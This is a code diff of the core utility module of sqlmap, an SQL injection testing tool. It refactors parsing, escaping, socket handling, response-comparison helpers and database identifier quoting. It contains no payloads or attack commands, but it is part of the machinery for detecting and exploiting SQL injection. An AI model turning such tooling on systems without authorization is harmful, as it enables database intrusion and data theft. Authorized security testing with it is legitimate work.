-        msg += "\n[2] 64-bit"
+        msg += "\n[1] 32-bit"
+        msg += "\n[2] 64-bit (default)"
 
         while True:
-            choice = readInput(msg, default='1')
+            choice = readInput(msg, default='2')
 
             if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2):
                 kb.arch = 32 if int(choice) == 1 else 64
@@ -655,7 +659,7 @@ def paramToDict(place, parameters=None):
                         kb.base64Originals[parameter] = oldValue = value
                         value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value.replace('\\', r'\\'), parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -1018,7 +1022,7 @@ def clearColors(message):
 
     retVal = message
 
-    if isinstance(message, str):
+    if isinstance(message, six.string_types):
         retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
 
     return retVal
@@ -1147,8 +1151,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             return conf.answers
 
         for item in conf.answers.split(','):
-            question = item.split('=')[0].strip()
-            answer = item.split('=')[1] if len(item.split('=')) > 1 else None
+            if '=' in item:
+                question, answer = item.split('=', 1)
+                question = question.strip()
+            else:
+                question, answer = item.strip(), None
             if answer and question.lower() in message.lower():
                 retVal = getUnicode(answer, UNICODE_ENCODING)
             elif answer is None and retVal:
@@ -1411,7 +1418,7 @@ def parseJson(content):
     """
     This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content
 
-    >>> parseJson("{'id':1}")["id"] == 1
+    >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1
     True
     >>> parseJson('{"id":1}')["id"] == 1
     True
@@ -1429,16 +1436,57 @@ def parseJson(content):
         if quote == '"':
             retVal = json.loads(content)
         elif quote == "'":
-            content = content.replace('"', '\\"')
-            content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER)
-            content = content.replace("'", '"')
-            content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'")
+            def _(match):
+                return '"%s"' % match.group(1).replace('"', '\\"')
+
+            content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content)
             retVal = json.loads(content)
     except:
         pass
 
     return retVal
 
+def jsonMinimize(content):
+    """
+    Returns an order-independent canonical "leaf-path" projection of a JSON document, used for
+    structure-aware response comparison (so key reordering / whitespace / number formatting do
+    not perturb the comparison ratio, while a changed value or array length does). Returns None
+    (and only None) when content is not parseable JSON, so callers can fall back to text comparison
+
+    >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1,  "b":2}')
+    True
+    >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1'
+    True
+    >>> jsonMinimize('not json') is None
+    True
+    >>> jsonMinimize('{}') == ''
+    True
+    """
+
+    lines = []
+
+    def _walk(obj, path):
+        if isinstance(obj, dict):
+            for key in sorted(obj):                                # sorted keys -> key-order/whitespace immune
+                _walk(obj[key], "%s.%s" % (path, key))
+        elif isinstance(obj, (list, tuple)):
+            lines.append("%s.__len__=%d" % (path, len(obj)))       # length change always registers
+            for index in xrange(len(obj)):                         # index kept -> order-sensitive (correct for result sets)
+                _walk(obj[index], "%s[%d]" % (path, index))
+        else:
+            lines.append("%s=%s" % (path, obj))                    # scalar values kept (boolean detection flips values)
+
+    # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on
+    # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return
+    # None so callers fall back to text comparison, rather than crashing the comparison thread
+    try:
+        data = json.loads(content)
+        _walk(data, "")
+    except (ValueError, TypeError, RecursionError):
+        return None
+
+    return "\n".join(sorted(lines))
+
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
@@ -1461,10 +1509,13 @@ def parsePasswordHash(password):
         retVal = "%s\n" % password
         retVal += "%sheader: %s\n" % (blank, password[:6])
         retVal += "%ssalt: %s\n" % (blank, password[6:14])
-        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
 
-        if password[54:]:
-            retVal += "%suppercase: %s" % (blank, password[54:])
+        if password.startswith("0x0200"):
+            retVal += "%shash: %s\n" % (blank, password[14:])
+        else:
+            retVal += "%smixedcase: %s\n" % (blank, password[14:54])
+            if password[54:]:
+                retVal += "%suppercase: %s" % (blank, password[54:])
 
     return retVal
 
@@ -1477,10 +1528,18 @@ def cleanQuery(query):
     """
 
     retVal = query
+    queryLower = query.lower()
 
     for sqlStatements in SQL_STATEMENTS.values():
         for sqlStatement in sqlStatements:
             candidate = sqlStatement.replace("(", "").replace(")", "").strip()
+
+            # OPTIMIZATION: Skip expensive regex compilation/search if the keyword
+            # isn't even present in the string. This makes the function O(K) instead of O(N*K)
+            # for the expensive regex part (where K is num keywords).
+            if not candidate or candidate.lower() not in queryLower:
+                continue
+
             queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query)
 
             if queryMatch and "sys_exec" not in query:
@@ -1621,7 +1680,7 @@ def parseTargetDirect():
                 conf.dbmsPass = details.group("pass").strip("'\"")
             else:
                 if conf.dbmsCred:
-                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
+                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':', 1)
                 else:
                     conf.dbmsUser = ""
                     conf.dbmsPass = ""
@@ -1785,7 +1844,8 @@ def parseTargetUrl():
         errMsg = "invalid target URL port (%d)" % conf.port
         raise SqlmapSyntaxException(errMsg)
 
-    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
+    defaultPort = conf.port == 80 and conf.scheme in ("http", "ws") or conf.port == 443 and conf.scheme in ("https", "wss")
+    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not defaultPort else "", conf.path))
     conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
 
     if urlSplit.query:
@@ -1824,7 +1884,7 @@ def escapeJsonValue(value):
     retVal = ""
 
     for char in value:
-        if char < ' ' or char == '"':
+        if char < ' ' or char in ('"', '\\'):  # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string
             retVal += json.dumps(char)[1:-1]
         else:
             retVal += char
@@ -1838,7 +1898,9 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression)
+    # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not
+    # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM <long.dotted.name>(' input
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression)
 
     if match:
         infoMsg = "you did not provide the fields in your query. "
@@ -1985,11 +2047,15 @@ def getLocalIP():
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         s.connect((conf.hostname, conf.port))
         retVal, _ = s.getsockname()
-        s.close()
     except:
         debugMsg = "there was an error in opening socket "
         debugMsg += "connection toward '%s'" % conf.hostname
         logger.debug(debugMsg)
+    finally:
+        try:
+            s.close()
+        except socket.error:
+            pass
 
     return retVal
 
@@ -2019,7 +2085,7 @@ def getFileType(filePath):
     """
     Returns "magic" file type for given file path
 
-    >>> getFileType(__file__)
+    >>> getFileType(paths.SQL_KEYWORDS)
     'text'
     >>> getFileType(sys.executable)
     'binary'
@@ -2065,7 +2131,7 @@ def getCharset(charsetType=None):
 
     # Digits
     elif charsetType == CHARSET_TYPE.DIGITS:
-        asciiTbl.extend((0, 9))
+        asciiTbl.extend(xrange(0, 10))
         asciiTbl.extend(xrange(47, 58))
 
     # Hexadecimal
@@ -2207,7 +2273,8 @@ def safeStringFormat(format_, params):
                 match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
                 if match:
                     try:
-                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1)
+                        _ = getUnicode(params[count % len(params)])
+                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1)
                     except re.error:
                         retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
                     count += 1
@@ -2447,7 +2514,7 @@ def getSQLSnippet(dbms, sfile, **variables):
         retVal = retVal.replace(_, randomStr())
 
     for _ in re.findall(r"%RANDINT\d+%", retVal, re.I):
-        retVal = retVal.replace(_, randomInt())
+        retVal = retVal.replace(_, getText(randomInt()))
 
     variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I)
 
@@ -2465,7 +2532,7 @@ def getSQLSnippet(dbms, sfile, **variables):
 
     return retVal
 
-def readCachedFileContent(filename, mode="rb"):
+def readCachedFileContent(filename, mode='r'):
     """
     Cached reading of file content (avoiding multiple same file reading)
 
@@ -2473,19 +2540,23 @@ def readCachedFileContent(filename, mode="rb"):
     True
     """
 
-    if filename not in kb.cache.content:
+    content = kb.cache.content.get(filename)
+
+    if content is None:
         with kb.locks.cache:
-            if filename not in kb.cache.content:
+            content = kb.cache.content.get(filename)
+            if content is None:
                 checkFile(filename)
                 try:
                     with openFile(filename, mode) as f:
-                        kb.cache.content[filename] = f.read()
+                        content = f.read()
+                        kb.cache.content[filename] = content
                 except (IOError, OSError, MemoryError) as ex:
                     errMsg = "something went wrong while trying "
                     errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
                     raise SqlmapSystemException(errMsg)
 
-    return kb.cache.content[filename]
+    return content
 
 def average(values):
     """
@@ -2702,7 +2773,7 @@ def getPartRun(alias=True):
 
 def longestCommonPrefix(*sequences):
     """
-    Returns longest common prefix occuring in given sequences
+    Returns longest common prefix occurring in given sequences
 
     # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
 
@@ -2868,9 +2939,6 @@ def extractErrorMessage(page):
     retVal = None
 
     if isinstance(page, six.string_types):
-        if wasLastResponseDBMSError():
-            page = re.sub(r"<[^>]+>", "", page)
-
         for regex in ERROR_PARSING_REGEXES:
             match = re.search(regex, page, re.IGNORECASE)
 
@@ -2881,6 +2949,7 @@ def extractErrorMessage(page):
                     break
 
         if not retVal and wasLastResponseDBMSError():
+            page = re.sub(r"<[^>]+>", "", page)
             match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
 
             if match:
@@ -2896,6 +2965,7 @@ def findLocalPort(ports):
     retVal = None
 
     for port in ports:
+        s = None
         try:
             try:
                 s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -2907,10 +2977,11 @@ def findLocalPort(ports):
         except socket.error:
             pass
         finally:
-            try:
-                s.close()
-            except socket.error:
-                pass
+            if s is not None:
+                try:
+                    s.close()
+                except socket.error:
+                    pass
 
     return retVal
 
@@ -2923,22 +2994,15 @@ def findMultipartPostBoundary(post):
     """
 
     retVal = None
-
-    done = set()
-    candidates = []
+    counts = {}
 
     for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
-        _ = match.group(1).strip().strip('-')
+        boundary = match.group(1).strip().strip('-')
+        counts[boundary] = counts.get(boundary, 0) + 1
 
-        if _ in done:
-            continue
-        else:
-            candidates.append((post.count(_), _))
-            done.add(_)
-
-    if candidates:
-        candidates.sort(key=lambda _: _[0], reverse=True)
-        retVal = candidates[0][1]
+    if counts:
+        sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True)
+        retVal = sorted_boundaries[0][0]
 
     return retVal
 
@@ -2963,11 +3027,10 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
             result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
         else:
             result = value
-            charset = set(string.printable) - set(unsafe)
 
             def _(match):
                 char = decodeHex(match.group(1), binary=False)
-                return char if char in charset else match.group(0)
+                return char if char not in unsafe else match.group(0)
 
             if spaceplus:
                 result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
@@ -3109,7 +3172,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
 
 def enumValueToNameLookup(type_, value_):
     """
-    Returns name of a enum member with a given value
+    Returns name of an enum member with a given value
 
     >>> enumValueToNameLookup(SORT_ORDER, 100)
     'LAST'
@@ -3167,6 +3230,45 @@ def extractTextTagContent(page):
 
     return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))
 
+def extractStructuralTokens(page):
+    """
+    Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a
+    (HTML) page, discarding all textual content. Used for structure-aware page comparison when the
+    page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so
+    that dynamic text does not perturb the comparison while a structural change (e.g. a results
+    table appearing or disappearing) still does. HTML counterpart of jsonMinimize()
+
+    >>> sorted(extractStructuralTokens(u'<div id="g" class="a b"><span>x</span></div>')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span']
+    True
+    >>> extractStructuralTokens(u'<table><tr><td>1</td></tr></table>') == set([u'tag:table', u'tag:tr', u'tag:td'])
+    True
+    >>> extractStructuralTokens(u'') == set()
+    True
+    """
+
+    page = page or ""
+
+    if REFLECTED_VALUE_MARKER in page:
+        page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page)
+
+    page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>", " ", page)
+
+    retVal = set()
+
+    for match in re.finditer(STRUCTURAL_TAG_REGEX, page):
+        tag = match.group(1).lower()
+        attrs = match.group(2) or ""
+        retVal.add("tag:%s" % tag)
+        for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs):
+            for value in (_.group(1) or _.group(2) or _.group(3) or "").split():
+                retVal.add("cls:%s.%s" % (tag, value))
+        for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs):
+            value = (_.group(1) or _.group(2) or _.group(3) or "").strip()
+            if value:
+                retVal.add("id:%s#%s" % (tag, value))
+
+    return retVal
+
 def trimAlphaNum(value):
     """
     Trims alpha numeric characters from start and ending of a given value
@@ -3227,11 +3329,15 @@ def aliasToDbmsEnum(dbms):
 
     return retVal
 
-def findDynamicContent(firstPage, secondPage):
+def findDynamicContent(firstPage, secondPage, merge=False):
     """
     This function checks if the provided pages have dynamic content. If they
     are dynamic, proper markings will be made
 
+    Note: with merge=True the newly found markings are accumulated into the
+    existing ones (e.g. when refining across multiple original-page samples)
+    instead of replacing them
+
     >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
     >>> kb.dynamicMarkings
     [('natum reque et per. ', 'Facer tritani repreh')]
@@ -3244,7 +3350,9 @@ def findDynamicContent(firstPage, secondPage):
     singleTimeLogMessage(infoMsg)
 
     blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
-    kb.dynamicMarkings = []
+
+    if not merge:
+        kb.dynamicMarkings = []
 
     # Removing too small matching blocks
     for block in blocks[:]:
@@ -3273,7 +3381,7 @@ def findDynamicContent(firstPage, secondPage):
                 suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH]
 
                 for _ in (firstPage, secondPage):
-                    match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _)
+                    match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _)
                     if match:
                         infix = match.group(1)
                         if infix[0].isalnum():
@@ -3282,7 +3390,9 @@ def findDynamicContent(firstPage, secondPage):
                             suffix = trimAlphaNum(suffix)
                         break
 
-            kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))
+            marking = (prefix if prefix else None, suffix if suffix else None)
+            if marking not in kb.dynamicMarkings:  # Note: avoiding duplicates (e.g. when accumulating markings across samples)
+                kb.dynamicMarkings.append(marking)
 
     if len(kb.dynamicMarkings) > 0:
         infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
@@ -3301,11 +3411,11 @@ def removeDynamicContent(page):
             if prefix is None and suffix is None:
                 continue
             elif prefix is None:
-                page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
+                page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
             elif suffix is None:
                 page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
             else:
-                page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
+                page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
 
     return page
 
@@ -3461,7 +3571,10 @@ def parseSqliteTableSchema(value):
             columns[column] = match.group(3) or "TEXT"
 
         table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
-        kb.data.cachedColumns[conf.db] = table
+        if conf.db in kb.data.cachedColumns:
+            kb.data.cachedColumns[conf.db].update(table)
+        else:
+            kb.data.cachedColumns[conf.db] = table
 
     return retVal
 
@@ -3554,7 +3667,7 @@ def setOptimize():
     """
 
     # conf.predictOutput = True
-    conf.keepAlive = True
+    # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
     conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
 
@@ -3606,7 +3719,7 @@ def saveConfig(conf, filename):
 
             config.set(family, option, value)
 
-    with openFile(filename, "wb") as f:
+    with openFile(filename, 'w') as f:
         try:
             config.write(f)
         except IOError as ex:
@@ -3682,8 +3795,8 @@ def unArrayizeValue(value):
     if isListLike(value):
         if not value:
             value = None
-        elif len(value) == 1 and not isListLike(value[0]):
-            value = value[0]
+        elif len(value) == 1 and not isListLike(next(iter(value))):  # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable
+            value = next(iter(value))
         else:
             value = [_ for _ in flattenValue(value) if _ is not None]
             value = value[0] if len(value) > 0 else None
@@ -3812,6 +3925,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
     # Reference: https://stackoverflow.com/a/37462452
     if 'b' in mode:
         buffering = 0
+        encoding = None
+    elif buffering == 1 and codecs_open is codecs.open:
+        # codecs.open() always opens the underlying file in binary mode, where line buffering
+        # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is
+        # silently downgraded to the default buffer size anyway. Request that default explicitly
+        # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1
+        # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path).
+        buffering = -1
 
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
@@ -4004,7 +4125,7 @@ def createGithubIssue(errMsg, excMsg):
             pass
 
         data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
-        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1])
         req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
         try:
@@ -4019,7 +4140,7 @@ def createGithubIssue(errMsg, excMsg):
             logger.info(infoMsg)
 
             try:
-                with openFile(paths.GITHUB_HISTORY, "a+b") as f:
+                with openFile(paths.GITHUB_HISTORY, "a+") as f:
                     f.write("%s\n" % key)
             except:
                 pass
@@ -4108,6 +4229,9 @@ def intersect(containerA, containerB, lowerCase=False):
 def decodeStringEscape(value):
     """
     Decodes escaped string values (e.g. "\\t" -> "\t")
+
+    >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b"
+    True
     """
 
     retVal = value
@@ -4122,6 +4246,9 @@ def decodeStringEscape(value):
 def encodeStringEscape(value):
     """
     Encodes escaped string values (e.g. "\t" -> "\\t")
+
+    >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb"
+    True
     """
 
     retVal = value
@@ -4162,7 +4289,12 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
 
                     # Note: naive approach
                     retVal = content.replace(payload, REFLECTED_VALUE_MARKER)
-                    retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER)
+
+                    # Note: guard against an empty needle (payload composed solely of word chars), as
+                    # str.replace("", X) would insert X between every character and explode the page
+                    _stripped = re.sub(r"\A\w+", "", payload)
+                    if _stripped:
+                        retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER)
 
                     if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
                         regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
@@ -4269,7 +4401,10 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     '[begin]'
     >>> getText(safeSQLIdentificatorNaming("foobar"))
     'foobar'
-    >>> kb.forceDbms = popValue()
+    >>> kb.forcedDbms = DBMS.FIREBIRD
+    >>> getText(safeSQLIdentificatorNaming("foo bar"))
+    '"foo bar"'
+    >>> kb.forcedDbms = popValue()
     """
 
     retVal = name
@@ -4289,9 +4424,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
             if not conf.noEscape:
                 retVal = unsafeSQLIdentificatorNaming(retVal)
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                     retVal = "`%s`" % retVal
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
                     retVal = "\"%s\"" % retVal
                 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                     retVal = "\"%s\"" % retVal.upper()
@@ -4328,9 +4463,9 @@ def unsafeSQLIdentificatorNaming(name):
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
             retVal = name.replace("\"", "")
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
             retVal = name.replace("\"", "").upper()
@@ -4476,14 +4611,20 @@ def safeCSValue(value):
     '"foo, bar"'
     >>> safeCSValue('foobar')
     'foobar'
+    >>> safeCSValue('foo\\rbar')
+    '"foo\\rbar"'
+    >>> safeCSValue('foo"bar') == '"foo""bar"'
+    True
     """
 
     retVal = value
 
+    # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an
+    # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose
+    # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"')
     if retVal and isinstance(retVal, six.string_types):
-        if not (retVal[0] == retVal[-1] == '"'):
-            if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
-                retVal = '"%s"' % retVal.replace('"', '""')
+        if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')):
+            retVal = '"%s"' % retVal.replace('"', '""')
 
     return retVal
 
@@ -4515,34 +4656,36 @@ def randomizeParameterValue(value):
 
     retVal = value
 
-    value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
-
-    for match in re.finditer(r"[A-Z]+", value):
+    def _replace_upper(match):
+        original = match.group()
         while True:
-            original = match.group()
-            candidate = randomStr(len(match.group())).upper()
-            if original != candidate:
-                break
+            candidate = randomStr(len(original)).upper()
+            if candidate != original:
+                return candidate
 
-        retVal = retVal.replace(original, candidate)
-
-    for match in re.finditer(r"[a-z]+", value):
+    def _replace_lower(match):
+        original = match.group()
         while True:
-            original = match.group()
-            candidate = randomStr(len(match.group())).lower()
-            if original != candidate:
-                break
+            candidate = randomStr(len(original)).lower()
+            if candidate != original:
+                return candidate
 
-        retVal = retVal.replace(original, candidate)
-
-    for match in re.finditer(r"[0-9]+", value):
+    def _replace_digit(match):
+        original = match.group()
         while True:
-            original = match.group()
-            candidate = str(randomInt(len(match.group())))
-            if original != candidate:
-                break
+            candidate = str(randomInt(len(original)))
+            if candidate != original:
+                return candidate
 
-        retVal = retVal.replace(original, candidate, 1)
+    def _randomize(segment):
+        segment = re.sub(r"[A-Z]+", _replace_upper, segment)
+        segment = re.sub(r"[a-z]+", _replace_lower, segment)
+        segment = re.sub(r"[0-9]+", _replace_digit, segment)
+        return segment
+
+    # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters;
+    # deleting (or randomizing) the %XX would change the value's decoded content and byte length
+    retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal))
 
     if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
         parts = retVal.split('.')
@@ -4757,11 +4900,15 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
                 retVal.add(target)
 
     for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
-        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        try:
+            url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        except ValueError:
+            continue
+
         data = ""
 
-        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
-            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)):
+            data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER)
 
         data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
         retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
@@ -4808,7 +4955,17 @@ def checkSameHost(*urls):
                 value = "http://%s" % value
             return value
